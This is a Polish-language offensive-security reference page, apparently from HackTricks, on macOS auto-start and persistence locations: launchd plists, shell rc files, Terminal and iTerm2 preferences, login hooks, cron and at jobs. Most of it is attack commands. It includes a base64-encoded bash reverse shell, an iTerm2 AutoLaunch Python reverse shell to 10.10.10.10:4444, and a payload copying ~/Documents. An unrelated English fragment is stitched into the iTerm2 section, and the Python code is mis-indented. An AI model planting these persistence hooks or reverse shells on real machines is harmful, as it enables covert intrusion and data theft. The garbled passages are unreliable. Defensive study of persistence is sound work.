macOS Auto Start

Zacznij naukę hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Ta sekcja opiera się głównie na serii blogów Beyond the good ol' LaunchAgents, celem jest dodanie więcej lokalizacji automatycznego uruchamiania (jeśli to możliwe), wskazanie które techniki wciąż działają obecnie z najnowszą wersją macOS (13.4) i określenie uprawnień wymaganych.

Ominięcie piaskownicy

Tutaj znajdziesz lokalizacje startowe przydatne do omijania piaskownicy, które pozwalają po prostu wykonać coś, pisząc to do pliku i czekając na bardzo powszechne działanie, określoną ilość czasu lub działanie, które zazwyczaj można wykonać z wnętrza piaskownicy bez konieczności posiadania uprawnień root.

Launchd

  • Przydatne do ominięcia piaskownicy:

  • Ominięcie TCC: 🔴

Lokalizacje

  • /Library/LaunchAgents

  • Wywołanie: Ponowne uruchomienie

  • Wymagane uprawnienia root

  • /Library/LaunchDaemons

  • Wywołanie: Ponowne uruchomienie

  • Wymagane uprawnienia root

  • /System/Library/LaunchAgents

  • Wywołanie: Ponowne uruchomienie

  • Wymagane uprawnienia root

  • /System/Library/LaunchDaemons

  • Wywołanie: Ponowne uruchomienie

  • Wymagane uprawnienia root

  • ~/Library/LaunchAgents

  • Wywołanie: Ponowne zalogowanie

  • ~/Library/LaunchDemons

  • Wywołanie: Ponowne zalogowanie

Opis i Wykorzystanie

launchd to pierwszy proces uruchamiany przez jądro OX S podczas uruchamiania i ostatni, który kończy działanie podczas wyłączania. Zawsze powinien mieć PID 1. Ten proces będzie czytał i wykonywał konfiguracje wskazane w plikach ASEP plists w:

  • /Library/LaunchAgents: Agenci dla użytkownika zainstalowani przez administratora

  • /Library/LaunchDaemons: Demony na poziomie systemu zainstalowane przez administratora

  • /System/Library/LaunchAgents: Agenci dla użytkownika dostarczeni przez Apple.

  • /System/Library/LaunchDaemons: Demony na poziomie systemu dostarczone przez Apple.

Gdy użytkownik loguje się, pliki plists znajdujące się w /Users/$USER/Library/LaunchAgents i /Users/$USER/Library/LaunchDemons są uruchamiane z uprawnieniami zalogowanych użytkowników.

Główną różnicą między agentami a demonami jest to, że agenci są ładowani podczas logowania użytkownika, a demony są ładowane podczas uruchamiania systemu (ponieważ istnieją usługi, takie jak ssh, które muszą być uruchomione przed dostępem jakiegokolwiek użytkownika do systemu). Ponadto agenci mogą korzystać z interfejsu graficznego, podczas gdy demony muszą działać w tle.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

Istnieją przypadki, w których agent musi zostać uruchomiony przed zalogowaniem użytkownika, nazywane PreLoginAgents. Na przykład jest to przydatne do dostarczania technologii wspomagających podczas logowania. Mogą one być znalezione również w /Library/LaunchAgents (zobacz tutaj przykład).

Nowe pliki konfiguracyjne Daemons lub Agents zostaną załadowane po następnym ponownym uruchomieniu lub używając launchctl load <target.plist>. Jest również możliwe załadowanie plików .plist bez tego rozszerzenia za pomocą launchctl -F <file> (jednak te pliki plist nie będą automatycznie ładowane po ponownym uruchomieniu). Możliwe jest również odładowanie za pomocą launchctl unload <target.plist> (proces wskazany przez niego zostanie zakończony).

Aby upewnić się, że nie ma niczego (jak nadpisanie), co uniemożliwia uruchomienie Agenta lub Daemona, uruchom: sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist

Wypisz wszystkie agenty i demony załadowane przez bieżącego użytkownika:

launchctl list

Jeśli plik plist jest własnością użytkownika, nawet jeśli znajduje się w folderach systemowych demona, zadanie zostanie wykonane jako użytkownik, a nie jako root. Może to zapobiec niektórym atakom eskalacji uprawnień.

pliki uruchamiania powłoki

Writeup: https://theevilbit.github.io/beyond/beyond_0001/ Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • Przydatne do ominięcia piaskownicy:

  • Ominięcie TCC:

  • Ale musisz znaleźć aplikację z ominięciem TCC, która wykonuje powłokę, która wczytuje te pliki

Lokalizacje

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile

  • Wywołanie: Otwórz terminal z zsh

  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin

  • Wywołanie: Otwórz terminal z zsh

  • Wymagane uprawnienia roota

  • ~/.zlogout

  • Wywołanie: Zamknij terminal z zsh

  • /etc/zlogout

  • Wywołanie: Zamknij terminal z zsh

  • Wymagane uprawnienia roota

  • Potencjalnie więcej w: man zsh

  • ~/.bashrc

  • Wywołanie: Otwórz terminal z bash

  • /etc/profile (nie działało)

  • ~/.profile (nie działało)

  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/

  • Wywołanie: Oczekiwane wywołanie z xterm, ale nie jest zainstalowany i nawet po zainstalowaniu występuje ten błąd: xterm: DISPLAY is not set

Opis & Wykorzystanie

Podczas inicjowania środowiska powłoki, takiego jak zsh lub bash, są uruchamiane pewne pliki uruchamiania. Obecnie macOS używa /bin/zsh jako domyślnej powłoki. Ta powłoka jest automatycznie uruchamiana, gdy uruchamiana jest aplikacja Terminal lub gdy urządzenie jest dostępne za pośrednictwem SSH. Chociaż bash i sh są również obecne w macOS, muszą być jawnie wywoływane, aby je użyć.

Strona podręcznika zsh, którą możemy przeczytać za pomocą man zsh, zawiera długie omówienie plików uruchamiania.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Ponownie otwarte aplikacje

Konfiguracja wskazanego wykorzystania i wylogowanie się, a następnie ponowne zalogowanie lub nawet ponowne uruchomienie nie zadziałało dla mnie, aby uruchomić aplikację. (Aplikacja nie była uruchamiana, być może musi być uruchomiona podczas wykonywania tych działań)

Opis: https://theevilbit.github.io/beyond/beyond_0021/

  • Przydatne do ominięcia piaskownicy:

  • Ominięcie TCC: 🔴

Lokalizacja

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

  • Wyzwalacz: Ponowne otwieranie aplikacji

Opis i Wykorzystanie

Wszystkie aplikacje do ponownego otwarcia znajdują się w pliku plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Aby sprawić, żeby ponownie otwierane aplikacje uruchamiały twoją własną, wystarczy dodać swoją aplikację do listy.

UUID można znaleźć, listując ten katalog lub za pomocą ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'

Aby sprawdzić aplikacje, które zostaną ponownie otwarte, można użyć polecenia:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Aby dodać aplikację do tej listy, możesz użyć:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Preferencje terminala

  • Przydatne do ominięcia piaskownicy:

  • Ominięcie TCC:

  • Terminal używa uprawnień FDA użytkownika, który go używa

Lokalizacja

  • ~/Library/Preferences/com.apple.Terminal.plist

  • Wywołanie: Otwórz Terminal

Opis i Wykorzystanie

W ~/Library/Preferences przechowywane są preferencje użytkownika w Aplikacjach. Niektóre z tych preferencji mogą zawierać konfigurację do wykonywania innych aplikacji/skryptów.

Na przykład, Terminal może wykonać polecenie podczas uruchamiania:

Ta konfiguracja jest odzwierciedlona w pliku ~/Library/Preferences/com.apple.Terminal.plist w ten sposób:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

Więc jeśli plik plist preferencji terminala w systemie mógłby zostać nadpisany, to funkcjonalność open może być użyta do otwarcia terminala i wykonania tej komendy.

Możesz dodać to z wiersza poleceń za pomocą:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Skrypty terminalowe / Inne rozszerzenia plików

  • Przydatne do ominięcia piaskownicy:

  • Ominięcie TCC:

  • Terminal używa uprawnień FDA użytkownika, jeśli go używa

Lokalizacja

  • W dowolnym miejscu

  • Wywołanie: Otwórz Terminal

Opis i Wykorzystanie

Jeśli utworzysz skrypt .terminal i go otworzysz, aplikacja Terminal zostanie automatycznie uruchomiona, aby wykonać polecenia w nim wskazane. Jeśli aplikacja Terminal ma specjalne uprawnienia (takie jak TCC), twoje polecenie zostanie wykonane z tymi specjalnymi uprawnieniami.

Wypróbuj to z:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

Możesz również użyć rozszerzeń .command, .tool, z zwykłą zawartością skryptów powłoki i zostaną one również otwarte przez Terminal.

Jeśli terminal ma Pełny dostęp do dysku, będzie w stanie ukończyć tę akcję (zauważ, że wykonane polecenie będzie widoczne w oknie terminala).

Wtyczki audio

Opis: https://theevilbit.github.io/beyond/beyond_0013/ Opis: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • Przydatne do ominięcia piaskownicy:

  • Ominięcie TCC: 🟠

  • Możesz uzyskać dodatkowy dostęp TCC

Lokalizacja

  • /Library/Audio/Plug-Ins/HAL

  • Wymagane uprawnienia roota

  • Wyzwalacz: Ponowne uruchomienie coreaudiod lub komputera

  • /Library/Audio/Plug-ins/Components

  • Wymagane uprawnienia roota

  • Wyzwalacz: Ponowne uruchomienie coreaudiod lub komputera

  • ~/Library/Audio/Plug-ins/Components

  • Wyzwalacz: Ponowne uruchomienie coreaudiod lub komputera

  • /System/Library/Components

  • Wymagane uprawnienia roota

  • Wyzwalacz: Ponowne uruchomienie coreaudiod lub komputera

Opis

Zgodnie z poprzednimi opisami możliwe jest skompilowanie niektórych wtyczek audio i ich załadowanie.

Wtyczki QuickLook

Opis: https://theevilbit.github.io/beyond/beyond_0028/

  • Przydatne do ominięcia piaskownicy:

  • Ominięcie TCC: 🟠

  • Możesz uzyskać dodatkowy dostęp TCC

Lokalizacja

  • /System/Library/QuickLook

  • /Library/QuickLook

  • ~/Library/QuickLook

  • /Applications/NazwaAplikacjiTutaj/Contents/Library/QuickLook/

  • ~/Applications/NazwaAplikacjiTutaj/Contents/Library/QuickLook/

Opis i Wykorzystanie

Wtyczki QuickLook mogą być uruchamiane, gdy uruchamiasz podgląd pliku (naciśnij spację przy wybranym pliku w Finderze) i zainstalowana jest wtyczka obsługująca ten typ pliku.

Możesz skompilować własną wtyczkę QuickLook, umieścić ją w jednej z powyższych lokalizacji, aby ją załadować, a następnie przejść do obsługiwanego pliku i nacisnąć spację, aby ją uruchomić.

Haki logowania/wylogowywania

To nie zadziałało dla mnie, ani z Hakiem logowania użytkownika, ani z Hakiem wylogowywania roota

Opis: https://theevilbit.github.io/beyond/beyond_0022/

  • Przydatne do ominięcia piaskownicy:

  • Ominięcie TCC: 🔴

Lokalizacja

  • Musisz być w stanie wykonać coś w rodzaju defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh

  • Znajduje się w ~/Library/Preferences/com.apple.loginwindow.plist

Są przestarzałe, ale mogą być używane do wykonywania poleceń po zalogowaniu użytkownika.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

To ustawienie jest przechowywane w /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

Aby usunąć to:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

Plik użytkownika root jest przechowywany w /private/var/root/Library/Preferences/com.apple.loginwindow.plist

Warunkowe pomijanie piaskownicy

Tutaj znajdziesz lokalizacje startowe przydatne do pomijania piaskownicy, co pozwala na po prostu wykonanie czegoś poprzez zapisanie tego do pliku i oczekiwanie na nietypowe warunki jak konkretne zainstalowane programy, "nietypowe" działania użytkownika lub środowiska.

Cron

Opis: https://theevilbit.github.io/beyond/beyond_0004/

  • Przydatne do pomijania piaskownicy:

  • Jednakże, musisz móc wykonać binarny crontab

  • Lub być użytkownikiem root

  • Pominięcie TCC: 🔴

Lokalizacja

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/

  • Wymagany dostęp roota do bezpośredniego zapisu. Brak wymaganego dostępu roota jeśli możesz wykonać crontab <plik>

  • Wywołanie: Zależy od zadania cron

Opis i Wykorzystanie

Wyświetl listę zadań cron bieżącego użytkownika za pomocą:

crontab -l

Można również zobaczyć wszystkie zadania cron użytkowników w /usr/lib/cron/tabs/ i /var/at/tabs/ (wymaga uprawnień roota).

W systemie MacOS można znaleźć kilka folderów wykonujących skrypty z określoną częstotliwością w:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

W tym miejscu znajdziesz regularne zadania cron, zadania at (rzadko używane) i zadania periodic (głównie używane do czyszczenia plików tymczasowych). Codzienne zadania periodic można wykonać na przykład za pomocą: periodic daily.

Aby dodać zadanie cron użytkownika programistycznie, można użyć:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Opis: https://theevilbit.github.io/beyond/beyond_0002/

  • Przydatne do ominięcia piaskownicy:

  • Ominięcie TCC:

  • iTerm2 wcześniej miało udzielone uprawnienia TCC

Lokalizacje

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch

  • Wywołanie: Otwórz iTerm

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt

  • Wywołanie: Otwórz iTerm

  • ~/Library/Preferences/com.googlecode.iterm2.plist

  • Wywołanie: Otwórz iTerm

Opis & Wykorzystanie

Skrypty przechowywane w ~/Library/Application Support/iTerm2/Scripts/AutoLaunch zostaną wykonane. Na przykład:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

macOS Auto Start Locations

Launch Agents

Launch Agents are used to run commands when a user logs in. They are stored in ~/Library/LaunchAgents/ or /Library/LaunchAgents/.

Launch Daemons

Launch Daemons are used to run commands at system startup. They are stored in /Library/LaunchDaemons/.

Login Items

Login Items are applications that open when a user logs in. They are managed in System Preferences > Users & Groups > Login Items.

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

Skrypt ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt zostanie również wykonany:

do shell script "touch /tmp/iterm2-autolaunchscpt"

Pliki preferencji iTerm2 znajdują się w ~/Library/Preferences/com.googlecode.iterm2.plist i mogą wskazywać polecenie do wykonania po otwarciu terminala iTerm2.

To ustawienie można skonfigurować w ustawieniach iTerm2:

A polecenie jest odzwierciedlone w preferencjach:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

Możesz ustawić polecenie do wykonania za pomocą:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

Bardzo prawdopodobne, że istnieją inne sposoby wykorzystania preferencji iTerm2 do wykonania dowolnych poleceń.

xbar

Opis: https://theevilbit.github.io/beyond/beyond_0007/

  • Przydatne do ominięcia piaskownicy:

  • Ale xbar musi być zainstalowany

  • Ominięcie TCC:

  • Wymaga uprawnień dostępu do funkcji dostępności

Lokalizacja

  • ~/Library/Application\ Support/xbar/plugins/

  • Wywołanie: Po uruchomieniu xbar

Opis

Jeśli zainstalowany jest popularny program xbar, można napisać skrypt powłoki w ~/Library/Application\ Support/xbar/plugins/, który zostanie wykonany po uruchomieniu xbar:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Opis: https://theevilbit.github.io/beyond/beyond_0008/

  • Przydatne do ominięcia piaskownicy:

  • Ale Hammerspoon musi być zainstalowany

  • Ominięcie TCC:

  • Wymaga uprawnień dostępności

Lokalizacja

  • ~/.hammerspoon/init.lua

  • Wywołanie: Po uruchomieniu Hammerspoona

Opis

Hammerspoon służy jako platforma automatyzacji dla macOS, wykorzystując język skryptowy LUA do swoich operacji. Warto zauważyć, że obsługuje integrację pełnego kodu AppleScript oraz wykonywanie skryptów powłoki, co znacząco zwiększa jego możliwości skryptowe.

Aplikacja szuka jednego pliku, ~/.hammerspoon/init.lua, i po uruchomieniu zostanie wykonany skrypt.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • Przydatne do ominięcia piaskownicy:

  • Ale BetterTouchTool musi być zainstalowany

  • Ominięcie TCC:

  • Wymaga uprawnień do Automatyzacji-Skrótów i Dostępności

Lokalizacja

  • ~/Library/Application Support/BetterTouchTool/*

To narzędzie pozwala wskazać aplikacje lub skrypty do wykonania po naciśnięciu określonych skrótów klawiszowych. Atakujący może skonfigurować własny skrót i akcję do wykonania w bazie danych, aby wykonać dowolny kod (skrót może polegać na po prostu naciśnięciu klawisza).

Alfred

  • Przydatne do ominięcia piaskownicy:

  • Ale Alfred musi być zainstalowany

  • Ominięcie TCC:

  • Wymaga uprawnień do Automatyzacji, Dostępności, a nawet dostępu do pełnego dysku

Lokalizacja

  • ???

Pozwala tworzyć skrypty, które mogą wykonywać kod, gdy spełnione są określone warunki. Potencjalnie atakujący może stworzyć plik skryptu i sprawić, aby Alfred go załadował (należy opłacić wersję premium, aby korzystać ze skryptów).

SSHRC

Opis: https://theevilbit.github.io/beyond/beyond_0006/

  • Przydatne do ominięcia piaskownicy:

  • Ale ssh musi być włączone i używane

  • Ominięcie TCC:

  • SSH miał dostęp do pełnego dysku

Lokalizacja

  • ~/.ssh/rc

  • Wywołanie: Logowanie przez ssh

  • /etc/ssh/sshrc

  • Wymagane uprawnienia roota

  • Wywołanie: Logowanie przez ssh

Aby włączyć ssh, wymagane jest uzyskanie dostępu do pełnego dysku:

sudo systemsetup -setremotelogin on

Opis & Wykorzystanie

Domyślnie, chyba że PermitUserRC no w /etc/ssh/sshd_config, gdy użytkownik loguje się przez SSH, skrypty /etc/ssh/sshrc i ~/.ssh/rc zostaną wykonane.

Elementy logowania

Opis: https://theevilbit.github.io/beyond/beyond_0003/

  • Przydatne do ominięcia piaskownicy:

  • Ale musisz wykonać osascript z argumentami

  • Ominięcie TCC: 🔴

Lokalizacje

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

  • Wywołanie: Logowanie

  • Payload eksploatacji przechowywany przy użyciu osascript

  • /var/db/com.apple.xpc.launchd/loginitems.501.plist

  • Wywołanie: Logowanie

  • Wymagane uprawnienia roota

Opis

W Preferencje systemowe -> Użytkownicy i grupy -> Elementy logowania można znaleźć elementy do wykonania po zalogowaniu użytkownika. Można je wyświetlić, dodać i usunąć z wiersza poleceń:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

Te elementy są przechowywane w pliku ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

Elementy logowania mogą być również wskazane za pomocą interfejsu API SMLoginItemSetEnabled, który przechowa konfigurację w /var/db/com.apple.xpc.launchd/loginitems.501.plist

ZIP jako element logowania

(Sprawdź poprzednią sekcję dotyczącą Elementów logowania, jest to rozszerzenie)

Jeśli przechowasz plik ZIP jako Element logowania, Archive Utility go otworzy, a jeśli zip był na przykład przechowywany w ~/Library i zawierał folder LaunchAgents/file.plist z tylnymi drzwiami, ten folder zostanie utworzony (nie jest to domyślne zachowanie), a plist zostanie dodany, więc następnym razem, gdy użytkownik zaloguje się ponownie, tylne drzwi wskazane w pliku plist zostaną wykonane.

Inną opcją byłoby utworzenie plików .bash_profile i .zshenv w katalogu domowym użytkownika, więc jeśli folder LaunchAgents już istnieje, ta technika nadal będzie działać.

At

Opis: https://theevilbit.github.io/beyond/beyond_0014/

  • Przydatne do ominięcia piaskownicy:

  • Ale musisz wykonać at i musi być włączone

  • Ominięcie TCC: 🔴

Lokalizacja

  • Musisz wykonać at i musi być włączone

Opis

Zadania at są przeznaczone do planowania zadań jednorazowych do wykonania o określonych godzinach. W przeciwieństwie do zadań cron, zadania at są automatycznie usuwane po wykonaniu. Ważne jest zauważenie, że te zadania są trwałe po ponownym uruchomieniu systemu, co oznacza, że mogą stanowić potencjalne zagrożenie dla bezpieczeństwa w określonych warunkach.

Domyślnie są wyłączone, ale użytkownik root może je włączyć za pomocą:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

To spowoduje utworzenie pliku za 1 godzinę:

echo "echo 11 > /tmp/at.txt" | at now+1

Sprawdź kolejkę zadań za pomocą atq:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

Powyżej widzimy zaplanowane dwa zadania. Szczegóły zadania można wydrukować, używając at -c JOBNUMBER

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

Jeśli zadania AT nie są włączone, utworzone zadania nie zostaną wykonane.

Pliki zadań można znaleźć pod adresem /private/var/at/jobs/

sh-3.2# ls -l /private/var/at/jobs/